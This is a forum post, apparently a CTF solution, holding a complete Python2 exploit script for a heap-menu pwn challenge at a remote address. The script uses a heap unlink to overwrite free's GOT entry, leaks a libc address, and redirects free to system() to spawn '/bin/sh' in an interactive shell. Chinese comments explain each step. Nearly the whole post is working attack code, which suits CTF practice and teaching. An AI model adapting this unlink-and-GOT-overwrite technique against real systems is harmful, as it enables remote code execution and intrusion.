-
-
[原创]第四题
-
发表于: 2017-6-9 12:01 4338
-
#!/usr/bin/env python2
from zio import *
import binascii
target = ('211.159.216.90',51888)
#target = './4-ReeHY-main'
def input_name(io, sc):
io.read_until('$')
io.writeline(sc)
def new_sc(io,i,sc):
io.read_until('$')
io.writeline('1')
io.read_until('\n')
io.writeline(str(len(sc)))
io.read_until('\n')
io.writeline(str(i))
io.read_until('\n')
io.write(sc)
#io.write('\n')
def edit_sc(io, index, new_sc):
io.read_until('$')
io.writeline('3')
io.read_until('\n')
io.writeline(str(index))
io.read_until('\n')
#io.writeline(str(len(new_sc)))
#io.read_until('$')
io.write(new_sc)
def delete_sc(io, index):
io.read_until('$')
io.writeline('2')
io.read_until('\n')
io.writeline(str(index))
def exp(target):
# 0x6020E0 = 管理堆的数组 0x6020C0 = 管理堆的长度数组 0x6020E8 = 管理堆是否可以写
io = zio(target, timeout=100000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
name = "ericazhe"#raw_input("")
input_name(io, name)
new_sc(io,-2,'a'*0xa0) #让管理堆的长度0x6020C0可以修改
new_sc(io,0,'a'*0xa0) #0x6020E0[0*0x10]=第一个堆地址,长度0x6020C0[0*0x10+8]=0xa0,设置可写0x6020E8[0*0x10]=0x1
new_sc(io,1,'b'*0xa0) #0x6020E0[1*0x20]=第二个堆地址,长度0x6020C0[1*0x10+8]=0xa0,设置可写0x6020E8[1*0x10]=0x1
new_sc(io,2,'/bin/sh;'+'c'*0x98) #0x6020E0[2*0x30]=第三个堆地址,长度0x6020C0[2*0x10+8]=0xa0,设置可写0x6020E8[2*0x10]=0x1
payload = l32(0xb0) + l32(0xa0) + l32(0xa0) + 'a'*0x94
edit_sc(io, -2, payload) #恶意修改第一堆的可以写的长度0x6020C0[0*0x10+8]=0xb0
ptr_addr = 0x00000000006020E0
payload = l64(0) + l64(0xa1) + l64(ptr_addr-0x18) + l64(ptr_addr-0x10) + 'a'*0x80 + l64(0xa0) + l64(0xb0)
edit_sc(io, 0, payload) #构造第一个堆溢出
delete_sc(io, 1) #free导致 *0x6020E0 = 0x6020C8
free_got = 0x0000000000602018
payload = l64(0x0) + l64(0x0) +l64(0x0) + l64(free_got) + l64(0x1) + l64(0x602028) + l64(0x1)
edit_sc(io, 0, payload) #让第一个堆0x6020E0[0*0x10]=free_got
edit_sc(io, 0, l64(0x4006D0)) # free_got = put函数地址
delete_sc(io, 1) #put打印 0x602028 的内容,0x602028=write_got,即打印write函数地址
writeaddr = io.read(8)
writeaddr = binascii.b2a_hex(writeaddr)
print writeaddr
b = ''
for i in range(len(writeaddr)/2):
if writeaddr[2*i] == '0' and writeaddr[2*i+1] == 'a':
break;
else:
a=writeaddr[2*i]+writeaddr[2*i+1]
b=a+b
print b
writeaddr = int(b,16) #上面经过倒转,转换得到write在libc里的地址
writeaddr = writeaddr - 0x30 #肉眼看出来需要减去0x30
print "writeaddr:" + hex(writeaddr)
libc_base = writeaddr - 0x00000000000E8C50 #得到libc_base
print "libc_base" + hex(libc_base)
system_addr = libc_base + 0x0000000000041FD0 #得到system地址
print "system_base" + hex(system_addr)
edit_sc(io, 0, l64(int(system_addr))) #free_got = system地址
delete_sc(io, 2) #调用system函数,参数为第三个堆0x6020E0[2*0x30]
io.interact()
exp(target)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)